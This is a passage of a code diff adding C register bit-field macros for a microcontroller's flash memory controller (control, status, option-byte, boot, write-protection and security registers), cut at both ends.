FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_DATA_OP_Pos (21U) +#define FLASH_OPSR_DATA_OP_Msk (0x1UL << FLASH_OPSR_DATA_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_DATA_OP FLASH_OPSR_DATA_OP_Msk /*!< Operation in Flash high-cycle data area interrupted */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OBKERR_Pos (21U) +#define FLASH_SR_OBKERR_Msk (0x1UL << FLASH_SR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_SR_OBKERR FLASH_SR_OBKERR_Msk /*!< OBK general error flag */ +#define FLASH_SR_OBKWERR_Pos (22U) +#define FLASH_SR_OBKWERR_Msk (0x1UL << FLASH_SR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_SR_OBKWERR FLASH_SR_OBKWERR_Msk /*!< OBK write error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write forcing control bit */ +#define FLASH_CR_START_Pos (5U) +#define FLASH_CR_START_Msk (0x1UL << FLASH_CR_START_Pos) /*!< 0x00000020 */ +#define FLASH_CR_START FLASH_CR_START_Msk /*!< Erase start control bit */ +#define FLASH_CR_SNB_Pos (6U) +#define FLASH_CR_SNB_Msk (0x7FUL << FLASH_CR_SNB_Pos) /*!< 0x00001FC0 */ +#define FLASH_CR_SNB FLASH_CR_SNB_Msk /*!< Sector erase selection number */ +#define FLASH_CR_SNB_0 (0x01UL << FLASH_CR_SNB_Pos) /*!< 0x00000040 */ +#define FLASH_CR_SNB_1 (0x02UL << FLASH_CR_SNB_Pos) /*!< 0x00000080 */ +#define FLASH_CR_SNB_2 (0x04UL << FLASH_CR_SNB_Pos) /*!< 0x00000100 */ +#define FLASH_CR_SNB_3 (0x08UL << FLASH_CR_SNB_Pos) /*!< 0x00000200 */ +#define FLASH_CR_SNB_4 (0x10UL << FLASH_CR_SNB_Pos) /*!< 0x00000400 */ +#define FLASH_CR_SNB_5 (0x20UL << FLASH_CR_SNB_Pos) /*!< 0x00000800 */ +#define FLASH_CR_SNB_6 (0x40UL << FLASH_CR_SNB_Pos) /*!< 0x00001000 */ +#define FLASH_CR_MER_Pos (15U) +#define FLASH_CR_MER_Msk (0x1UL << FLASH_CR_MER_Pos) /*!< 0x00008000 */ +#define FLASH_CR_MER FLASH_CR_MER_Msk /*!< Mass erase */ +#define FLASH_CR_EOPIE_Pos (16U) +#define FLASH_CR_EOPIE_Msk (0x1UL << FLASH_CR_EOPIE_Pos) /*!< 0x00010000 */ +#define FLASH_CR_EOPIE FLASH_CR_EOPIE_Msk /*!< End-of-operation interrupt control bit */ +#define FLASH_CR_WRPERRIE_Pos (17U) +#define FLASH_CR_WRPERRIE_Msk (0x1UL << FLASH_CR_WRPERRIE_Pos) /*!< 0x00020000 */ +#define FLASH_CR_WRPERRIE FLASH_CR_WRPERRIE_Msk /*!< Write protection error interrupt enable bit */ +#define FLASH_CR_PGSERRIE_Pos (18U) +#define FLASH_CR_PGSERRIE_Msk (0x1UL << FLASH_CR_PGSERRIE_Pos) /*!< 0x00040000 */ +#define FLASH_CR_PGSERRIE FLASH_CR_PGSERRIE_Msk /*!< Programming sequence error interrupt enable bit */ +#define FLASH_CR_STRBERRIE_Pos (19U) +#define FLASH_CR_STRBERRIE_Msk (0x1UL << FLASH_CR_STRBERRIE_Pos) /*!< 0x00080000 */ +#define FLASH_CR_STRBERRIE FLASH_CR_STRBERRIE_Msk /*!< Strobe error interrupt enable bit */ +#define FLASH_CR_INCERRIE_Pos (20U) +#define FLASH_CR_INCERRIE_Msk (0x1UL << FLASH_CR_INCERRIE_Pos) /*!< 0x00100000 */ +#define FLASH_CR_INCERRIE FLASH_CR_INCERRIE_Msk /*!< Inconsistency error interrupt enable bit */ +#define FLASH_CR_OBKERRIE_Pos (21U) +#define FLASH_CR_OBKERRIE_Msk (0x1UL << FLASH_CR_OBKERRIE_Pos) /*!< 0x00200000 */ +#define FLASH_CR_OBKERRIE FLASH_CR_OBKERRIE_Msk /*!< OBK general error interrupt enable bitt */ +#define FLASH_CR_OBKWERRIE_Pos (22U) +#define FLASH_CR_OBKWERRIE_Msk (0x1UL << FLASH_CR_OBKWERRIE_Pos) /*!< 0x00400000 */ +#define FLASH_CR_OBKWERRIE FLASH_CR_OBKWERRIE_Msk /*!< OBK write error interrupt enable bit */ +#define FLASH_CR_OPTCHANGEERRIE_Pos (23U) +#define FLASH_CR_OPTCHANGEERRIE_Msk (0x1UL << FLASH_CR_OPTCHANGEERRIE_Pos) /*!< 0x00800000 */ +#define FLASH_CR_OPTCHANGEERRIE FLASH_CR_OPTCHANGEERRIE_Msk /*!< Option byte change error interrupt enable bit */ +#define FLASH_CR_INV_Pos (29U) +#define FLASH_CR_INV_Msk (0x1UL << FLASH_CR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_CR_INV FLASH_CR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_CR_BKSEL_Pos (31U) +#define FLASH_CR_BKSEL_Msk (0x1UL << FLASH_CR_BKSEL_Pos) /*!< 0x10000000 */ +#define FLASH_CR_BKSEL FLASH_CR_BKSEL_Msk /*!< Bank selector */ + +/******************* Bits definition for FLASH_CCR register *******************/ +#define FLASH_CCR_CLR_EOP_Pos (16U) +#define FLASH_CCR_CLR_EOP_Msk (0x1UL << FLASH_CCR_CLR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_CCR_CLR_EOP FLASH_CCR_CLR_EOP_Msk /*!< EOP flag clear bit */ +#define FLASH_CCR_CLR_WRPERR_Pos (17U) +#define FLASH_CCR_CLR_WRPERR_Msk (0x1UL << FLASH_CCR_CLR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_CCR_CLR_WRPERR FLASH_CCR_CLR_WRPERR_Msk /*!< WRPERR flag clear bit */ +#define FLASH_CCR_CLR_PGSERR_Pos (18U) +#define FLASH_CCR_CLR_PGSERR_Msk (0x1UL << FLASH_CCR_CLR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_CCR_CLR_PGSERR FLASH_CCR_CLR_PGSERR_Msk /*!< PGSERR flag clear bit */ +#define FLASH_CCR_CLR_STRBERR_Pos (19U) +#define FLASH_CCR_CLR_STRBERR_Msk (0x1UL << FLASH_CCR_CLR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_CCR_CLR_STRBERR FLASH_CCR_CLR_STRBERR_Msk /*!< STRBERR flag clear bit */ +#define FLASH_CCR_CLR_INCERR_Pos (20U) +#define FLASH_CCR_CLR_INCERR_Msk (0x1UL << FLASH_CCR_CLR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_CCR_CLR_INCERR FLASH_CCR_CLR_INCERR_Msk /*!< INCERR flag clear bit */ +#define FLASH_CCR_CLR_OBKERR_Pos (21U) +#define FLASH_CCR_CLR_OBKERR_Msk (0x1UL << FLASH_CCR_CLR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_CCR_CLR_OBKERR FLASH_CCR_CLR_OBKERR_Msk /*!< OBKERR flag clear bit */ +#define FLASH_CCR_CLR_OBKWERR_Pos (22U) +#define FLASH_CCR_CLR_OBKWERR_Msk (0x1UL << FLASH_CCR_CLR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_CCR_CLR_OBKWERR FLASH_CCR_CLR_OBKWERR_Msk /*!< OBKWERR flag clear bit */ +#define FLASH_CCR_CLR_OPTCHANGEERR_Pos (23U) +#define FLASH_CCR_CLR_OPTCHANGEERR_Msk (0x1UL << FLASH_CCR_CLR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_CCR_CLR_OPTCHANGEERR FLASH_CCR_CLR_OPTCHANGEERR_Msk /*!< Option byte change error clear bit */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0U) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1U) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/****************** Bits definition for FLASH_OBKCFGR register *****************/ +#define FLASH_OBKCFGR_LOCK_Pos (0U) +#define FLASH_OBKCFGR_LOCK_Msk (0x1UL << FLASH_OBKCFGR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OBKCFGR_LOCK FLASH_OBKCFGR_LOCK_Msk /*!< OBKCFGR lock */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Pos (1U) +#define FLASH_OBKCFGR_SWAP_SECT_REQ_Msk (0x1UL << FLASH_OBKCFGR_SWAP_SECT_REQ_Pos) /*!< 0x00000002 */ +#define FLASH_OBKCFGR_SWAP_SECT_REQ FLASH_OBKCFGR_SWAP_SECT_REQ_Msk /*!< OBK swap sector request */ +#define FLASH_OBKCFGR_ALT_SECT_Pos (2U) +#define FLASH_OBKCFGR_ALT_SECT_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_Pos) /*!< 0x00000004 */ +#define FLASH_OBKCFGR_ALT_SECT FLASH_OBKCFGR_ALT_SECT_Msk /*!< Alternate sector */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Pos (3U) +#define FLASH_OBKCFGR_ALT_SECT_ERASE_Msk (0x1UL << FLASH_OBKCFGR_ALT_SECT_ERASE_Pos) /*!< 0x00000008 */ +#define FLASH_OBKCFGR_ALT_SECT_ERASE FLASH_OBKCFGR_ALT_SECT_ERASE_Msk /*!< Alternate sector erase */ +#define FLASH_OBKCFGR_SWAP_OFFSET_Pos (16U) +#define FLASH_OBKCFGR_SWAP_OFFSET_Msk (0x1FFUL << FLASH_OBKCFGR_SWAP_OFFSET_Pos) /*!< 0x01FF0000 */ +#define FLASH_OBKCFGR_SWAP_OFFSET FLASH_OBKCFGR_SWAP_OFFSET_Msk /*!< Swap offset */ + +/****************** Bits definition for FLASH_HDPEXTR register *****************/ +#define FLASH_HDPEXTR_HDP1_EXT_Pos (0U) +#define FLASH_HDPEXTR_HDP1_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP1_EXT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPEXTR_HDP1_EXT FLASH_HDPEXTR_HDP1_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 1 */ +#define FLASH_HDPEXTR_HDP2_EXT_Pos (16U) +#define FLASH_HDPEXTR_HDP2_EXT_Msk (0x7FUL << FLASH_HDPEXTR_HDP2_EXT_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPEXTR_HDP2_EXT FLASH_HDPEXTR_HDP2_EXT_Msk /*!< HDP area extension in 8kB sectors in bank 2 */ + +/******************* Bits definition for FLASH_OPTSR register ***************/ +#define FLASH_OPTSR_BOR_LEV_Pos (0U) +#define FLASH_OPTSR_BOR_LEV_Msk (0x3UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000003 */ +#define FLASH_OPTSR_BOR_LEV FLASH_OPTSR_BOR_LEV_Msk /*!< Brownout level option bit */ +#define FLASH_OPTSR_BOR_LEV_0 (0x1UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000001 */ +#define FLASH_OPTSR_BOR_LEV_1 (0x2UL << FLASH_OPTSR_BOR_LEV_Pos) /*!< 0x00000002 */ +#define FLASH_OPTSR_BORH_EN_Pos (2U) +#define FLASH_OPTSR_BORH_EN_Msk (0x1UL << FLASH_OPTSR_BORH_EN_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR_BORH_EN FLASH_OPTSR_BORH_EN_Msk /*!< Brownout high enable configuration bit */ +#define FLASH_OPTSR_IWDG_SW_Pos (3U) +#define FLASH_OPTSR_IWDG_SW_Msk (0x1UL << FLASH_OPTSR_IWDG_SW_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR_IWDG_SW FLASH_OPTSR_IWDG_SW_Msk /*!< IWDG control mode option bit */ +#define FLASH_OPTSR_WWDG_SW_Pos (4U) +#define FLASH_OPTSR_WWDG_SW_Msk (0x1UL << FLASH_OPTSR_WWDG_SW_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR_WWDG_SW FLASH_OPTSR_WWDG_SW_Msk /*!< WWDG control mode option bit */ +#define FLASH_OPTSR_NRST_STOP_Pos (6U) +#define FLASH_OPTSR_NRST_STOP_Msk (0x1UL << FLASH_OPTSR_NRST_STOP_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR_NRST_STOP FLASH_OPTSR_NRST_STOP_Msk /*!< Stop mode entry reset option bit */ +#define FLASH_OPTSR_NRST_STDBY_Pos (7U) +#define FLASH_OPTSR_NRST_STDBY_Msk (0x1UL << FLASH_OPTSR_NRST_STDBY_Pos) /*!< 0x00000080 */ +#define FLASH_OPTSR_NRST_STDBY FLASH_OPTSR_NRST_STDBY_Msk /*!< Standby mode entry reset option bit */ +#define FLASH_OPTSR_PRODUCT_STATE_Pos (8U) +#define FLASH_OPTSR_PRODUCT_STATE_Msk (0xFFUL << FLASH_OPTSR_PRODUCT_STATE_Pos) /*!< 0x0000FF00 */ +#define FLASH_OPTSR_PRODUCT_STATE FLASH_OPTSR_PRODUCT_STATE_Msk /*!< Life state code option byte */ +#define FLASH_OPTSR_IO_VDD_HSLV_Pos (16U) +#define FLASH_OPTSR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDD_HSLV_Pos) /*!< 0x00010000 */ +#define FLASH_OPTSR_IO_VDD_HSLV FLASH_OPTSR_IO_VDD_HSLV_Msk /*!< VDD I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Pos (17U) +#define FLASH_OPTSR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTSR_IO_VDDIO2_HSLV_Pos) /*!< 0x00020000 */ +#define FLASH_OPTSR_IO_VDDIO2_HSLV FLASH_OPTSR_IO_VDDIO2_HSLV_Msk /*!< VDDIO2 I/O high-speed at low-voltage option bit */ +#define FLASH_OPTSR_IWDG_STOP_Pos (20U) +#define FLASH_OPTSR_IWDG_STOP_Msk (0x1UL << FLASH_OPTSR_IWDG_STOP_Pos) /*!< 0x00100000 */ +#define FLASH_OPTSR_IWDG_STOP FLASH_OPTSR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTSR_IWDG_STDBY_Pos (21U) +#define FLASH_OPTSR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTSR_IWDG_STDBY_Pos) /*!< 0x00200000 */ +#define FLASH_OPTSR_IWDG_STDBY FLASH_OPTSR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTSR_BOOT_UBE_Pos (22U) +#define FLASH_OPTSR_BOOT_UBE_Msk (0xFFUL << FLASH_OPTSR_BOOT_UBE_Pos) /*!< 0x3FC00000 */ +#define FLASH_OPTSR_BOOT_UBE FLASH_OPTSR_BOOT_UBE_Msk /*!< Unique boot entry option byte */ +#define FLASH_OPTSR_SWAP_BANK_Pos (31U) +#define FLASH_OPTSR_SWAP_BANK_Msk (0x1UL << FLASH_OPTSR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTSR_SWAP_BANK FLASH_OPTSR_SWAP_BANK_Msk /*!< Bank swapping option bit */ + +/******************* Bits definition for FLASH_EPOCHR register ***************/ +#define FLASH_EPOCHR_EPOCH_Pos (0U) +#define FLASH_EPOCHR_EPOCH_Msk (0xFFFFFFUL << FLASH_EPOCHR_EPOCH_Pos) /*!< 0x00FFFFFF */ +#define FLASH_EPOCHR_EPOCH FLASH_EPOCHR_EPOCH_Msk /*!< EPOCH counter */ + +/******************* Bits definition for FLASH_OPTSR2 register ***************/ +#define FLASH_OPTSR2_SRAM1_3_RST_Pos (2U) +#define FLASH_OPTSR2_SRAM1_3_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM1_3_RST_Pos) /*!< 0x00000004 */ +#define FLASH_OPTSR2_SRAM1_3_RST FLASH_OPTSR2_SRAM1_3_RST_Msk /*!< SRAM1 and SRAM3 erased when a system reset occurs */ +#define FLASH_OPTSR2_SRAM2_RST_Pos (3U) +#define FLASH_OPTSR2_SRAM2_RST_Msk (0x1UL << FLASH_OPTSR2_SRAM2_RST_Pos) /*!< 0x00000008 */ +#define FLASH_OPTSR2_SRAM2_RST FLASH_OPTSR2_SRAM2_RST_Msk /*!< SRAM2 erased when a system reset occurs*/ +#define FLASH_OPTSR2_BKPRAM_ECC_Pos (4U) +#define FLASH_OPTSR2_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTSR2_BKPRAM_ECC_Pos) /*!< 0x00000010 */ +#define FLASH_OPTSR2_BKPRAM_ECC FLASH_OPTSR2_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM3_ECC_Pos (5U) +#define FLASH_OPTSR2_SRAM3_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM3_ECC_Pos) /*!< 0x00000020 */ +#define FLASH_OPTSR2_SRAM3_ECC FLASH_OPTSR2_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTSR2_SRAM2_ECC_Pos (6U) +#define FLASH_OPTSR2_SRAM2_ECC_Msk (0x1UL << FLASH_OPTSR2_SRAM2_ECC_Pos) /*!< 0x00000040 */ +#define FLASH_OPTSR2_SRAM2_ECC FLASH_OPTSR2_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction disable */ +#define FLASH_OPTSR2_USBPD_DIS_Pos (8U) +#define FLASH_OPTSR2_USBPD_DIS_Msk (0x1UL << FLASH_OPTSR2_USBPD_DIS_Pos) /*!< 0x00000100 */ +#define FLASH_OPTSR2_USBPD_DIS FLASH_OPTSR2_USBPD_DIS_Msk /*!< USB power delivery configuration disable */ +#define FLASH_OPTSR2_TZEN_Pos (24U) +#define FLASH_OPTSR2_TZEN_Msk (0xFFUL << FLASH_OPTSR2_TZEN_Pos) /*!< 0xFF000000 */ +#define FLASH_OPTSR2_TZEN FLASH_OPTSR2_TZEN_Msk /*!< TrustZone enable */ + +/**************** Bits definition for FLASH_BOOTR register **********************/ +#define FLASH_BOOTR_BOOT_LOCK_Pos (0U) +#define FLASH_BOOTR_BOOT_LOCK_Msk (0xFFUL << FLASH_BOOTR_BOOT_LOCK_Pos) /*!< 0x000000FF */ +#define FLASH_BOOTR_BOOT_LOCK FLASH_BOOTR_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_BOOTR_BOOTADD_Pos (8U) +#define FLASH_BOOTR_BOOTADD_Msk (0xFFFFFFUL << FLASH_BOOTR_BOOTADD_Pos) /*!< 0xFFFFFF00 */ +#define FLASH_BOOTR_BOOTADD FLASH_BOOTR_BOOTADD_Msk /*!< Boot address */ + +/**************** Bits definition for FLASH_PRIVBBR register *******************/ +#define FLASH_PRIVBBR_PRIVBB_Pos (0U) +#define FLASH_PRIVBBR_PRIVBB_Msk (0xFFFFFFFFUL << FLASH_PRIVBBR_PRIVBB_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_PRIVBBR_PRIVBB FLASH_PRIVBBR_PRIVBB_Msk /*!< Privileged/unprivileged 8-Kbyte Flash sector attribute */ + +/***************** Bits definition for FLASH_SECWMR register ********************/ +#define FLASH_SECWMR_SECWM_STRT_Pos (0U) +#define FLASH_SECWMR_SECWM_STRT_Msk (0x7FUL << FLASH_SECWMR_SECWM_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWMR_SECWM_STRT FLASH_SECWMR_SECWM_STRT_Msk /*!< Start sector of secure area */ +#define FLASH_SECWMR_SECWM_END_Pos (16U) +#define FLASH_SECWMR_SECWM_END_Msk (0x7FUL << FLASH_SECWMR_SECWM_END_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWMR_SECWM_END FLASH_SECWMR_SECWM_END_Msk /*!< End sector of secure area */ + +/***************** Bits definition for FLASH_WRPR register *********************/ +#define FLASH_WRPR_WRPSG_Pos (0U) +#define FLASH_WRPR_WRPSG_Msk (0xFFFFFFFFUL << FLASH_WRPR_WRPSG_Pos) /*!< 0xFFFFFFFF */ +#define FLASH_WRPR_WRPSG FLASH_WRPR_WRPSG_Msk /*!< Sector group protection option status */ + +/***************** Bits definition for FLASH_EDATA register ********************/ +#define FLASH_EDATAR_EDATA_STRT_Pos (0U) +#define FLASH_EDATAR_EDATA_STRT_Msk (0x7UL << FLASH_EDATAR_EDATA_STRT_Pos) /*!< 0x00000007 */ +#define FLASH_EDATAR_EDATA_STRT FLASH_EDATAR_EDATA_STRT_Msk /*!< Flash high-cycle data start sector */ +#define FLASH_EDATAR_EDATA_EN_Pos (15U) +#define FLASH_EDATAR_EDATA_EN_Msk (0x1UL << FLASH_EDATAR_EDATA_EN_Pos) /*!< 0x00008000 */ +#define FLASH_EDATAR_EDATA_EN FLASH_EDATAR_EDATA_EN_Msk /*!< Flash high-cycle data enable */ + +/***************** Bits definition for FLASH_HDPR register ********************/ +#define FLASH_HDPR_HDP_STRT_Pos (0U) +#define FLASH_HDPR_HDP_STRT_Msk (0x7FUL << FLASH_HDPR_HDP_STRT_Pos) /*!< 0x0000007F */ +#define FLASH_HDPR_HDP_STRT FLASH_HDPR_HDP_STRT_Msk /*!< Start sector of hide protection area */ +#define FLASH_HDPR_HDP_END_Pos (16U) +#define FLASH_HDPR_HDP_END_Msk (0x7FUL << FLASH_HDPR_HDP_END_Pos) /*!< 0x007F0000 */ +#define FLASH_HDPR_HDP_END FLASH_HDPR_HDP_END_Msk /*!< End sector of hide protection area */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0U) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFUL << 